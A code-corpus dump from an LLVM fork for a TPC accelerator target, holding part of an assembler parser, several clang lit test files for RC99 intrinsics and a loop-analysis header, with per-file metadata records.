replaceRegisterWithLong(Operands, 3, LongRegisterKind::DRF);\n }\n return true;\n } else if (Mnemonic.startswith_lower(\"nearbyint\")) {\n const unsigned SwitchOpNo = 2;\n TPCOperand *SwitchOp = static_cast<TPCOperand *>(Operands[SwitchOpNo].get());\n unsigned Switches = SwitchOp->getSwitchSet();\n if (Switches & TPCII::SW_CNVRT)\n return replaceRegisterWithLong(Operands, 3, LongRegisterKind::DRF);\n return true;\n } else {\n return true;\n }\n\n unsigned NewRegNo = convertToLongReg(AccRegNo, Kind);\n static const int RegClass[3] = { TPC::ARFRegClassID, TPC::DRFRegClassID, TPC::ZRFRegClassID };\n if (NewRegNo == 0) {\n static const StringRef RegName[3] = { \"ARF\", \"DRF\", \"ZRF\" };\n static const StringRef RegAlign[3] = { \"4\", \"2\", \"2\" };\n Error(LongRegOp->getStartLoc(),\n \"Register '\" + StringRef(TPCInstPrinter::getRegisterName(AccRegNo)) +\n \"' Cannot be a start of \" + RegName[static_cast<unsigned>(Kind)] +\n \" register, the number must be a multiple of \" + RegAlign[static_cast<unsigned>(Kind)],\n LongRegOp->getLocRange());\n return false;\n }\n auto NewReg = TPCOperand::CreateReg(NewRegNo, RegClass[static_cast<unsigned>(Kind)],\n LongRegOp->getStartLoc(), LongRegOp->getEndLoc());\n Operands[DestRegOpNum] = std::move(NewReg);\n return true;\n}\n\nstatic bool checkHALT(OperandVector &Operands) {\n TPCOperand &Op = static_cast<TPCOperand &>(*Operands[0]);\n assert(Op.isToken() && \"Leading operand should always be a mnemonic!\");\n StringRef Mnemonic = Op.getToken();\n return Mnemonic.equals_lower(\"halt\") && Operands.size() == 1;\n}\n\n\nbool TPCAsmParser::MatchAndEmitInstruction(SMLoc IDLoc, unsigned &Opcode,\n OperandVector &Operands,\n MCStreamer &Out,\n uint64_t &ErrorInfo,\n bool MatchingInlineAsm) {\n MatchCode MatchResult;\n\n // Process start of instruction.\n if (CurrentSlot == SlotParser::Special) {\n MatchResult = MatchSlotInstruction(IDLoc, Operands, Bundle,\n ErrorInfo, MatchingInlineAsm, Out, SlotParser::Special);\n if (MatchResult == MatchCode::Ok) {\n // All-bundle instruction just parsed.\n Bundle.setLoc(IDLoc);\n if (!MatchingInlineAsm)\n AC->EmitInstruction(Bundle, Out, getSTI());\n Bundle.clear();\n Bundle.setOpcode(0);\n Bundle.setLoc(SMLoc());\n CurrentSlot = SlotParser::Unknown;\n Opcode = Bundle.getOpcode();\n return false;\n }\n return true;\n } else if (CurrentSlot == SlotParser::Load) {\n // Assume we have 4 slot instructions.\n initBundle(IDLoc);\n // If this instruction mnemonic is HALT, expand it to \"NOP; HALT; HALT; NOP\".\n if (checkHALT(Operands)) {\n Bundle.addOperand(MCOperand::createInst(getNOP(SlotParser::Load, IDLoc)));\n Bundle.addOperand(MCOperand::createInst(getHALT(SlotParser::Scalar, IDLoc)));\n Bundle.addOperand(MCOperand::createInst(getHALT(SlotParser::Vector, IDLoc)));\n Bundle.addOperand(MCOperand::createInst(getNOP(SlotParser::Store, IDLoc)));\n outputBundle(Out, IDLoc, !MatchingInlineAsm);\n Opcode = Bundle.getOpcode();\n return false;\n }\n }\n\n // If the last operand is a predicate register, convert it into the\n // predicate operand if possible.\n MCParsedAsmOperand *LastArg = Operands.back().get();\n if (LastArg && LastArg->isReg()) {\n unsigned RegNo = LastArg->getReg();\n PredicateKind PredKind = getPredicateKind(RegNo);\n if (PredKind != PredicateKind::NotAPredicate) {\n TPCOperand &Op = static_cast<TPCOperand &>(*Operands[0]);\n assert(Op.isToken() && \"Leading operand should always be a mnemonic!\");\n StringRef Mnemonic = Op.getToken();\n if (canLastArgBeAPredicate(Mnemonic, Operands, true)) {\n MCParsedAsmOperand *LastArg = Operands.back().get();\n unsigned RegNo = LastArg->getReg();\n SMLoc StartLoc = LastArg->getStartLoc();\n SMLoc EndLoc = LastArg->getEndLoc();\n Operands.pop_back();\n Operands.push_back(TPCOperand::CreatePredicate(RegNo, false, PredKind == VectorPredicate, StartLoc, EndLoc));\n }\n }\n }\n\n if (!adjustLongRegister(Operands))\n return true;\n\n if (CurrentSlot == SlotParser::Unknown) {\n TPCOperand &Op = static_cast<TPCOperand &>(*Operands[0]);\n Error(IDLoc, \"Too many slots\", Op.getLocRange(), MatchingInlineAsm);\n return true;\n }\n\n // Parse current slot instruction.\n MCInst *SubInst = new (getParser().getContext()) MCInst;\n MatchResult = MatchSlotInstruction(IDLoc, Operands, *SubInst,\n ErrorInfo, MatchingInlineAsm, Out, CurrentSlot);\n if (MatchResult != MatchCode::Ok)\n return true;\n\n Bundle.addOperand(MCOperand::createInst(SubInst));\n Opcode = SubInst->getOpcode();\n\n if (NewAsmFormat && CurrentSlot == SlotParser::Store) {\n IsLastInstrInBundle = true;\n }\n\n if (IsLastInstrInBundle) {\n outputBundle(Out, IDLoc, !MatchingInlineAsm);\n } else {\n // Otherwise proceed to the next slot.\n switch (CurrentSlot) {\n case SlotParser::Load: CurrentSlot = SlotParser::Scalar; break;\n case SlotParser::Scalar: CurrentSlot = SlotParser::Vector; break;\n case SlotParser::Vector: CurrentSlot = SlotParser::Store; break;\n case SlotParser::Store: CurrentSlot = SlotParser::Unknown; break;\n default:\n llvm_unreachable(\"Wrong current parser\");\n }\n }\n\n return false;\n}\n\n\nvoid TPCAsmParser::initBundle(SMLoc Loc) {\n if (CurrentSlot == SlotParser::Unknown) {\n assert(Bundle.getOpcode() == 0);\n CurrentSlot = SlotParser::Load;\n Bundle.setLoc(Loc);\n Bundle.setOpcode(TPC::BUNDLE);\n Bundle.addOperand(MCOperand::createImm(0));\n }\n}\n\n\nvoid TPCAsmParser::outputBundle(MCStreamer &Out, SMLoc IDLoc, bool UseStreamer) {\n if (Bundle.getOpcode() == TPC::BUNDLE) {\n assert(Bundle.getOperand(0).isImm());\n assert(Bundle.getOperand(0).getImm() == 0);\n // Add missing slot instructions.\n for (unsigned I = Bundle.getNumOperands() - 1; I < 4; ++I) {\n switch (I) {\n case 0:\n Bundle.addOperand(MCOperand::createInst(getNOP(SlotParser::Load, IDLoc)));\n break;\n case 1:\n Bundle.addOperand(MCOperand::createInst(getNOP(SlotParser::Scalar, IDLoc)));\n break;\n case 2:\n Bundle.addOperand(MCOperand::createInst(getNOP(SlotParser::Vector, IDLoc)));\n break;\n case 3:\n Bundle.addOperand(MCOperand::createInst(getNOP(SlotParser::Store, IDLoc)));\n break;\n default:\n llvm_unreachable(\"Wrong bundle\");\n }\n }\n }\n\n // Output to streamer.\n LLVM_DEBUG(dbgs() << \"Bundle:\");\n LLVM_DEBUG(Bundle.dump_pretty(dbgs()));\n LLVM_DEBUG(dbgs() << \"--\\n\");\n\n if (UseStreamer)\n AC->EmitInstruction(Bundle, Out, getSTI());\n\n // Clear current bundle.\n Bundle.clear();\n Bundle.setOpcode(0);\n Bundle.setLoc(SMLoc());\n CurrentSlot = SlotParser::Unknown;\n}\n\n\n// If it is not name for .TPC_METADATA returns std::end(TPCMetadataFieldsInfo)\nstatic const TPCMetadataFieldInfo *GetTPCMetadataInfo(\n const StringRef &FieldName) {\n return std::find_if(std::begin(TPCMetadataFieldsInfo),\n std::end(TPCMetadataFieldsInfo),\n [&FieldName](const TPCMetadataFieldInfo &Value) {\n return FieldName.compare_lower(Value.fieldName) == 0;}\n );\n}\n\n\nbool TPCAsmParser::parseTPCMetadata() {\n const AsmToken &Tok = Lexer.getTok();\n\n TPCHeader = TPCMetadataSection();\n std::unordered_set<unsigned> SetField;\n\n std::string RedefinitionField = formatv(\"Redefintion of {0} field: \",\n StringTPCMetadataSectionName);\n\n // scalarLds set indexes.\n std::bitset<TPCNumTensors> ScalarIdSetIndexes;\n // rmwStore set indexes.\n std::bitset<TPCNumTensors> RMWStoreIndexes;\n // Parse field by field\n\n const TPCMetadataFieldInfo *CurrentFieldInfo = nullptr;\n for (;;) {\n while (Tok.getKind() == AsmToken::EndOfStatement)\n Lexer.Lex();\n\n if (Tok.getKind() == AsmToken::Eof)\n break;\n\n CurrentFieldInfo = GetTPCMetadataInfo(Tok.getString());\n if (StringRef(CurrentFieldInfo->fieldName).compare(TPCScalarLdName) == 0) {\n if (!parseTPCMetadataArrayField(ScalarIdSetIndexes, *CurrentFieldInfo))\n return false;\n continue;\n } else if (StringRef(CurrentFieldInfo->fieldName).compare(TPCRMWStoreName) == 0) {\n if (!parseTPCMetadataArrayField(RMWStoreIndexes, *CurrentFieldInfo))\n return false;\n continue;\n } else if (CurrentFieldInfo != std::end(TPCMetadataFieldsInfo)) {\n unsigned CurrentFieldNumber = CurrentFieldInfo - TPCMetadataFieldsInfo;\n if (SetField.find(CurrentFieldNumber) != SetField.end()){\n Error(Tok.getLoc(),\n Twine(RedefinitionField.data(), Tok.getString()),\n Tok.getLocRange());\n return false;\n }\n\n\n SetField.insert(CurrentFieldNumber);\n Lexer.Lex();\n } else // Possible, it is start of a assembler program\n break;\n\n // Parse ':'\n if (Tok.getKind() == AsmToken::Colon) {\n Lexer.Lex();\n } else {\n Error(Tok.getLoc(), Twine(TPCHeaderParseBaseError, Tok.getString()) +\n \"'. Expected ':'.\", Tok.getLocRange());\n return false;\n }\n\n // Parse type directive\n if (!parseTPCMetadataTypeDirective(CurrentFieldInfo->elementSize))\n return false;\n\n // Parse value\n if (Tok.getKind() == AsmToken::Integer) {\n std::string ErrorMessage;\n if (!setTpcMetadataValue(Tok.getAPIntVal().getLimitedValue(),\n *CurrentFieldInfo,\n *TPCHeader,\n ErrorMessage)) {\n Error(Tok.getLoc(), ErrorMessage, Tok.getLocRange());\n return false;\n }\n\n // Check arch\n if (StringRef(CurrentFieldInfo->fieldName).compare(TPCMarchName) == 0) {\n StringRef CPU = getSTI().getCPU();\n bool WrongArch = false;\n switch (TPCHeader.getValue().march) {\n case 1:\n WrongArch = CPU.compare_lower(\"goya\") != 0;\n break;\n case 2:\n WrongArch = CPU.compare_lower(\"gaudi\") != 0;\n break;\n default:\n llvm_unreachable(\"Unknown arch\");\n }\n\n if (WrongArch) {\n Error(Tok.getLoc(),\n formatv(\"Specified TPC_METADATA architecture is different from actual target: {0}\", CPU),\n Tok.getLocRange());\n return false;\n }\n }\n\n Lexer.Lex();\n } else {\n Error(Tok.getLoc(), Twine(TPCHeaderParseBaseError, Tok.getString()) +\n \". Expected a number value.\",\n Tok.getLocRange());\n return false;\n }\n }\n\n return true;\n}\n\n\nbool TPCAsmParser::parseTPCMetadataArrayField(\n std::bitset<TPCNumTensors> &SetIndexes, const TPCMetadataFieldInfo &FieldInfo) {\n const AsmToken &Tok = Lexer.getTok();\n\n // For more accuracy error message\n AsmToken IndexTok;\n AsmToken FieldTok;\n\n const std::string RedefinitionMessage = formatv(\"Redefintion of {0} field.\",\n StringTPCMetadataSectionName);\n\n // Parse field by field\n for (;;) {\n // Eat end of lines and end of statement\n while (Tok.getKind() == AsmToken::Eof ||\n Tok.getKind() == AsmToken::EndOfStatement)\n Lexer.Lex();\n\n // Possible it is other TPC_METADATA field\n if (Tok.getKind() != AsmToken::Identifier)\n return true;\n\n const StringRef &CurrentFieldName = Tok.getString();\n // Parse field name\n if (CurrentFieldName.compare_lower(FieldInfo.fieldName) == 0)\n Lexer.Lex();\n else // Possible it is other TPC_METADATA field\n return true;\n\n // Optional, parse '[NUMBER]'\n int Index = -1;\n if (Tok.getKind() == AsmToken::LBrac) {\n Lexer.Lex();\n\n if (Tok.getKind() == AsmToken::Integer) {\n uint64_t TempIndex = Tok.getAPIntVal().getLimitedValue();\n if (TempIndex > FieldInfo.length) {\n Error(Tok.getLoc(),\n \"Tensor index out of range, expected from 0 to 15.\",\n Tok.getLocRange());\n return false;\n }\n Index = TempIndex;\n IndexTok = Tok;\n Lexer.Lex();\n } else {\n Error(Tok.getLoc(), Twine(TPCHeaderParseBaseError, Tok.getString()) +\n \"'. Expected INTEGER token.\", Tok.getLocRange());\n return false;\n }\n\n if(Tok.getKind() == AsmToken::RBrac)\n Lexer.Lex();\n else {\n Error(Tok.getLoc(), Twine(TPCHeaderParseBaseError, Tok.getString()) +\n \"'. Expected ']'.\", Tok.getLocRange());\n return false;\n }\n }\n\n if (Index >= 0 && SetIndexes[Index]) {\n Error(IndexTok.getLoc(), RedefinitionMessage,\n IndexTok.getLocRange());\n return false;\n } else if (Index < 0 && SetIndexes.any()){\n Error(FieldTok.getLoc(), RedefinitionMessage,\n FieldTok.getLocRange());\n return false;\n } else if (Index >= 0)\n SetIndexes[Index] = true;\n else\n SetIndexes.flip();\n\n // Parse ':'\n if (Tok.getKind() == AsmToken::Colon)\n Lexer.Lex();\n else {\n Error(Tok.getLoc(), Twine(TPCHeaderParseBaseError, Tok.getString()) +\n \"'. Expected ':'.\", Tok.getLocRange());\n return false;\n }\n\n // Parse type directive\n if (!parseTPCMetadataTypeDirective(\n Index < 0 ?\n FieldInfo.elementSize * FieldInfo.length : FieldInfo.elementSize))\n return false;\n\n // Parse value\n std::string ErrorMessage;\n if (Index >= 0 && !setTpcMetadataArrayValue(Tok.getAPIntVal().getLimitedValue(), Index, FieldInfo, *TPCHeader, ErrorMessage)) {\n Error(Tok.getLoc(), ErrorMessage, Tok.getLocRange());\n return false;\n } else if (Index < 0 && !setTpcMetadataArrayValue(Tok.getString(), FieldInfo, *TPCHeader, ErrorMessage)) {\n Error(Tok.getLoc(), ErrorMessage, Tok.getLocRange());\n return false;\n }\n\n Lexer.Lex();\n }\n}\n\n\nbool TPCAsmParser::parseTPCMetadataTypeDirective(unsigned ExpectedSize) {\n const AsmToken &Tok = Lexer.getTok();\n bool IsTypeCorrect = false;\n unsigned CurrentSize = 0;\n for (auto Type : TPCMetadataTypeDirectives) {\n if (Tok.getString().compare_lower(Type.second) == 0) {\n CurrentSize = Type.first;\n IsTypeCorrect = true;\n break;\n }\n }\n\n if (!IsTypeCorrect) {\n std::string SuffixMsg = \"'. Expected one of \";\n for (auto It = TPCMetadataTypeDirectives.begin();\n It != TPCMetadataTypeDirectives.end(); ++It) {\n SuffixMsg += formatv(\"'{0}'\", It->second);\n if (std::next(It) != TPCMetadataTypeDirectives.end())\n SuffixMsg += \", \";\n else\n SuffixMsg += '.';\n }\n\n Error(Tok.getLoc(), Twine(TPCHeaderParseBaseError,Tok.getString())\n .concat(SuffixMsg), Tok.getLocRange());\n return false;\n }\n\n if (CurrentSize != ExpectedSize) {\n assert(TPCMetadataTypeDirectives.find(ExpectedSize) !=\n TPCMetadataTypeDirectives.end());\n std::string SuffixMsg = formatv(\n \"'. Expected '{0}'.\", TPCMetadataTypeDirectives.at(ExpectedSize));\n Error(Tok.getLoc(), Twine(TPCHeaderParseBaseError, Tok.getString())\n .concat(SuffixMsg), Tok.getLocRange());\n return false;\n }\n\n Lexer.Lex();\n return true;\n}\n\n\nbool TPCAsmParser::parseIndexMap() {\n Lexer.setSkipSpace(false);\n\n const AsmToken &Tok = Lexer.getTok();\n SMLoc Start;\n SMLoc End;\n for (;;) {\n StringRef TokStr = Tok.getString();\n if (TokStr.equals(\"SCEVBEGIN\"))\n Start = Tok.getLoc();\n else if (TokStr.equals(\"SCEVEND\")) {\n End = Tok.getEndLoc();\n break;\n }\n\n if (Tok.getKind() == AsmToken::Eof)\n return false;\n\n Lexer.Lex();\n }\n\n IndexMap = std::string(Start.getPointer(),\n End.getPointer());\n Lexer.setSkipSpace(true);\n return true;\n}\n\n\nvoid TPCAsmParser::flushPendingInstructions(MCStreamer &Out) {\n if (CurrentSlot != SlotParser::Unknown)\n outputBundle(Out, SMLoc(), true);\n AC->flushPendingInstructions(Out, getSTI());\n\n if (TPCHeader) {\n Out.PushSection();\n MCSectionELF *MetadataSection = getContext().getELFSection(\n BinaryTPCMetadataSectionName,\n ELF::SHT_PROGBITS, ELF::SHF_WRITE | ELF::SHF_ALLOC);\n MetadataSection->getFragmentList().clear();\n MCDataFragment* Fragment = new MCDataFragment(MetadataSection);\n\n const TPCMetadataSection &Header = TPCHeader.getValue();\n std::vector<uint8_t> BinaryValue = bianrySerializeTPCProgramHeader(Header);\n Fragment->getContents().append(BinaryValue.begin(), BinaryValue.end());\n Fragment->setAlignToBundleEnd(true);\n Out.SwitchSection(MetadataSection);\n Out.PopSection();\n }\n\n std::string RootFileName = getContext().getMainFileName();\n\n if (!RootFileName.empty()) {\n Out.PushSection();\n MCSectionELF *KernelInfoSection = getContext().getELFSection(\n KernelInfoSectionName,\n ELF::SHT_PROGBITS, ELF::SHF_WRITE | ELF::SHF_ALLOC);\n KernelInfoSection->getFragmentList().clear();\n MCDataFragment* Fragment = new MCDataFragment(KernelInfoSection);\n\n StringRef BareFileName = llvm::sys::path::stem(RootFileName);\n std::string KernelInfo = GenerateKernelInfo(BareFileName);\n Fragment->getContents().append(KernelInfo.begin(), KernelInfo.end());\n Fragment->setAlignToBundleEnd(true);\n Out.SwitchSection(KernelInfoSection);\n Out.PopSection();\n }\n\n if (IndexMap) {\n Out.PushSection();\n MCSectionELF *IndexMapSection = getContext().getELFSection(\n IndexMapSectionName,\n ELF::SHT_PROGBITS, ELF::SHF_WRITE | ELF::SHF_ALLOC);\n IndexMapSection->getFragmentList().clear();\n MCDataFragment* Fragment = new MCDataFragment(IndexMapSection);\n\n Fragment->getContents().append(IndexMap->begin(), IndexMap->end());\n Fragment->setAlignToBundleEnd(true);\n Out.SwitchSection(IndexMapSection);\n Out.PopSection();\n }\n}\n\n\nTPCAsmParser::MatchCode TPCAsmParser::MatchSlotInstruction(SMLoc IDLoc,\n OperandVector &Operands, MCInst &Inst, uint64_t &ErrorInfo,\n bool MatchingInlineAsm, MCStreamer &Out, SlotParser Slot) {\n assert(!Operands.empty() && \"Unexpect empty operand list!\");\n TPCOperand &Op = static_cast<TPCOperand &>(*Operands[0]);\n assert(Op.isToken() && \"Leading operand should always be a mnemonic!\");\n StringRef Mnemonic = Op.getToken();\n\n unsigned MatchResult = MatchInstructionImpl(Operands, Inst, ErrorInfo,\n MatchingInlineAsm, Slot);\n switch (MatchResult) {\n case Match_Success:\n break;\n case Match_MnemonicFail:\n if (CurrentSlot == SlotParser::Unknown)\n return MatchCode::Unrecognized;\n Error(IDLoc, \"Instruction mnemonic '\" + Mnemonic + \"' is invalid in \" + SlotName[Slot] + \" slot\",\n Op.getLocRange(), MatchingInlineAsm);\n return MatchCode::Failed;\n case Match_MissingFeature:\n Error(IDLoc, \"Missing feature for instruction '\" + Mnemonic + \"'\",\n Op.getLocRange(), MatchingInlineAsm);\n return MatchCode::Failed;\n case Match_InvalidOperand:\n Error(IDLoc, \"Invalid operand in the instruction '\" + Mnemonic + \"'\",\n Op.getLocRange(), MatchingInlineAsm);\n return MatchCode::Failed;\n case Match_InvalidTiedOperand:\n Error(IDLoc, \"Invalid tied operand in the instruction '\" + Mnemonic + \"'\",\n Op.getLocRange(), MatchingInlineAsm);\n return MatchCode::Failed;\n default:\n Error(IDLoc, \"Error while parsing instruction '\" + Mnemonic + \"'\",\n Op.getLocRange(), MatchingInlineAsm);\n return MatchCode::Failed;\n }\n\n return MatchCode::Ok;\n}\n\n\n// Force static initialization.\nextern \"C\" void LLVMInitializeTPCAsmParser() {\n RegisterMCAsmParser<TPCAsmParser> X(getTheTPCTarget());\n}\n" }, { "alpha_fraction": 0.5295169949531555, "alphanum_fraction": 0.633273720741272, "avg_line_length": 45.58333206176758, "blob_id": "4011c39499477ebf9c52ad0faee4c5903d4a22e0", "content_id": "8bc9eaaae2133724b0e5fa7a0ef724de44fd9136", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 559, "license_type": "permissive", "max_line_length": 141, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_int64_to_float64.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n int64 *sptr = (int64 *)src;\n float64 *dptr = (float64 *)dest;\n int64 src_val = *sptr;\n *dptr++ = convert_int64_to_float64(src_val, 0);\n *dptr = convert_int64_to_float64(src_val, SW_RD);\n}\n\n// CHECK-IR: sitofp <64 x i32> {{.*}} to <64 x float>\n// CHECK-IR: call <64 x float> @llvm.tpc.convert.v64f32.v64i32.i1(<64 x i32> {{.*}}, i8 2, i32 196608, <64 x float> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.48846152424812317, "alphanum_fraction": 0.5730769038200378, "avg_line_length": 39, "blob_id": "7fccf8100e41bd9da0682b9dfd4f6fcef75696df", "content_id": "393fc7e42b0a106d3e1ea489161cdd5d24cde157", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 520, "license_type": "permissive", "max_line_length": 106, "num_lines": 13, "path": "/clang/test/RC99/bfloat16/bf16_mul-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -triple tpc-none-none -std=rc99 -O1 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int dest, int src, int src2) {\n bfloat128 __local *dptr = (bfloat128 __local *) dest;\n bfloat128 __local *sptr = (bfloat128 __local *) src;\n bfloat128 __local *sptr2 = (bfloat128 __local *) src2;\n\n *dptr = *sptr * *sptr2;\n// CHECK: ld_l_v [[REG1:%V[0-9]+]], %S1\n// CHECK: ld_l_v [[REG2:%V[0-9]+]], %S2\n// CHECK: mul.bf16 [[REG3:%V[0-9]+]], [[REG1]], [[REG2]]\n// CHECK: st_l_v %S0, [[REG3]]\n}\n" }, { "alpha_fraction": 0.4040597379207611, "alphanum_fraction": 0.44695520401000977, "avg_line_length": 17.913043975830078, "blob_id": "4c66ff4a1d57a22855627e03f3977d79f1bc40d4", "content_id": "f5259a6494f271a75d667c813a470b026ae4dc6b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2611, "license_type": "permissive", "max_line_length": 78, "num_lines": 138, "path": "/clang/test/RC99/IntrinsicsL/s_xx_mov_s.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\n\nvoid main(int dest, int xi, short xs, char xc) {\n _Bool pred = xi < dest;\n // CHECK-DAG: cmp_less.i32 [[PRED:%SP[0-9]+]], %S1, %S0\n\n volatile int __local *dptr = (int __local *)dest;\n\n // s_f32_mov_s_b\n {\n float res = as_float(*dptr++);\n float x = as_float(*dptr++);\n\n res = s_f32_mov_s_b(x, res, pred, 0);\n // CHECK: mov.f32 %S{{[0-9]+}}, %S{{[0-9]+}}, [[PRED]]\n *dptr++ = res;\n }\n\n\n // s_i32_mov_s_b\n {\n int res = as_int(*dptr++);\n int x = as_int(*dptr++);\n\n res = s_i32_mov_s_b(x, res, pred, 0);\n // CHECK: mov.i32 %S{{[0-9]+}}, %S{{[0-9]+}}, [[PRED]]\n *dptr++ = res;\n }\n\n // s_u32_mov_s_b\n {\n unsigned res = as_uint(*dptr++);\n unsigned x = as_uint(*dptr++);\n\n res = s_u32_mov_s_b(x, res, pred, 0);\n // CHECK: mov.u32 %S{{[0-9]+}}, %S{{[0-9]+}}, [[PRED]]\n *dptr++ = res;\n }\n\n // s_i16_mov_s_b\n {\n short res = *dptr++;\n short x = *dptr++;\n\n res = s_i16_mov_s_b(x, res, pred, 0);\n // CHECK: mov.i16 %S{{[0-9]+}}, %S{{[0-9]+}}, [[PRED]]\n *dptr++ = res;\n }\n\n // s_u16_mov_s_b\n {\n unsigned short res = *dptr++;\n unsigned short x = *dptr++;\n\n res = s_u16_mov_s_b(x, res, pred, 0);\n // CHECK: mov.u16 %S{{[0-9]+}}, %S{{[0-9]+}}, [[PRED]]\n *dptr++ = res;\n }\n\n // s_i8_mov_s_b\n {\n char res = *dptr++;\n char x = *dptr++;\n\n res = s_i8_mov_s_b(x, res, pred, 0);\n // CHECK: mov.i8 %S{{[0-9]+}}, %S{{[0-9]+}}, [[PRED]]\n *dptr++ = res;\n }\n\n // s_u8_mov_s_b\n {\n unsigned char res = *dptr++;\n unsigned char x = *dptr++;\n\n res = s_u8_mov_s_b(x, res, pred, 0);\n // CHECK: mov.u8 %S{{[0-9]+}}, %S{{[0-9]+}}, [[PRED]]\n *dptr++ = res;\n }\n\n // s_f32_mov_s\n {\n float x = *dptr++;\n float res = s_f32_mov_s(x);\n *dptr++ = res;\n }\n\n#if defined(__gaudi__)\n // s_bf16_mov_s\n {\n _BFloat16 x = *dptr++;\n _BFloat16 res = s_bf16_mov_s(x);\n *dptr++ = res;\n }\n#endif \n\n // s_i32_mov_s\n {\n int x = *dptr++;\n int res = s_i32_mov_s(x);\n *dptr++ = res;\n }\n\n // s_u32_mov_s\n {\n unsigned x = *dptr++;\n unsigned res = s_u32_mov_s(x);\n *dptr++ = res;\n }\n\n // s_i16_mov_s\n {\n short x = *dptr++;\n short res = s_i16_mov_s(x);\n *dptr++ = res;\n }\n\n // s_u16_mov_s\n {\n unsigned short x = *dptr++;\n unsigned short res = s_u16_mov_s(x);\n *dptr++ = res;\n }\n\n // s_i8_mov_s\n {\n char x = *dptr++;\n char res = s_i8_mov_s(x);\n *dptr++ = res;\n }\n\n // s_u8_mov_s\n {\n unsigned char x = *dptr++;\n unsigned char res = s_u8_mov_s(x);\n *dptr++ = res;\n }\n}\n\n" }, { "alpha_fraction": 0.5226337313652039, "alphanum_fraction": 0.6584362387657166, "avg_line_length": 17.69230842590332, "blob_id": "5b52cc80081442a775cc0b01c346464fa0dc164d", "content_id": "7059d38d11692b654c17b448906beb18d3708b1d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 243, "license_type": "permissive", "max_line_length": 75, "num_lines": 13, "path": "/clang/test/RC99/vtypes.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n// RUN: %tpc_clang -c %s\n// expected-no-diagnostics\n\nbool256 b256;\nchar256 ch256;\nuchar256 uch256;\nint64 i64;\nuint64 ui64;\nfloat64 f64;\n\nvoid main() {\n}\n" }, { "alpha_fraction": 0.6326913833618164, "alphanum_fraction": 0.6359793543815613, "avg_line_length": 33.90163803100586, "blob_id": "a7d114c58938f8158f927794e0e960436bf624e3", "content_id": "7d19df4794a54cc30a669006953511588ce86b2a", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2129, "license_type": "permissive", "max_line_length": 80, "num_lines": 61, "path": "/llvm/lib/Target/TPC/TPCLoopData.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCLoopData.h ------------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n// LoopData\n// LoopData extract inforamtion on the Loop by asking SCEV on the Loop SCALAR. \n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_TPCLOOPDATA_CPP_H\n#define LLVM_TPCLOOPDATA_CPP_H\n#include \"TPCTargetMachine.h\"\n#include \"SCEVParser.h\"\n#include \"llvm/Analysis/AssumptionCache.h\"\n#include \"llvm/Analysis/LoopInfo.h\"\n#include \"llvm/Analysis/MemoryBuiltins.h\"\n#include \"llvm/Analysis/ScalarEvolution.h\"\n#include \"llvm/Analysis/ScalarEvolutionExpander.h\"\n#include \"llvm/Analysis/ScalarEvolutionExpressions.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/InstIterator.h\"\n#include \"llvm/Transforms/Utils/LoopUtils.h\"\n#include \"llvm/Transforms/Utils/UnrollLoop.h\"\n\n\nclass LoopData {\npublic:\n LoopData(){};\n LoopData(Loop *L, ScalarEvolution *SE, bool costModel = false);\n std::pair<Instruction *, Instruction *> getCmpValue();\n unsigned get_STEP() { return m_STEP; }\n unsigned get_DIM() { return m_DIM; }\n const SCEV *getLoopSCEV() { return p_LoopSCEV; }\n bool getSCEVStatus() { return m_SCEVNotValid; }\n bool is_Valid() { return m_Valid; }\n\nprivate:\n Module *p_MD;\n Loop *p_LH;\n Loop *p_Prev;\n BasicBlock *p_Nested;\n BasicBlock *p_Latch;\n ScalarEvolution *p_SEL;\n Instruction *p_Inducation = nullptr;\n unsigned m_STEP = 0;\n unsigned m_DIM = 0;\n bool m_Valid = false;\n bool m_SCEVNotValid = true;\n unsigned m_backendUnroll = 1;\n const SCEV *p_LoopSCEV;\n\n const SCEV *tryFindSCEV();\n void findNumberOfIterations(BasicBlock *BB);\n std::pair<IntrinsicInst *, IntrinsicInst *> findOffsetAndSizeIntrinsics();\n const SCEV *relaxSCEV(const SCEV *EV, vector<const Instruction *> index,\n string name);\n};\n\n#endif // LLVM_TPCLOOPDATA_CPP_H\n" }, { "alpha_fraction": 0.5304659605026245, "alphanum_fraction": 0.5842294096946716, "avg_line_length": 30, "blob_id": "72c9193021d6d4127c9bdc1a31a9351a480a965d", "content_id": "2f9c45047b3d0467fbf5dad9210ac76a152c0230", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 279, "license_type": "permissive", "max_line_length": 91, "num_lines": 9, "path": "/clang/test/RC99/CodeGen/pred-12.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", 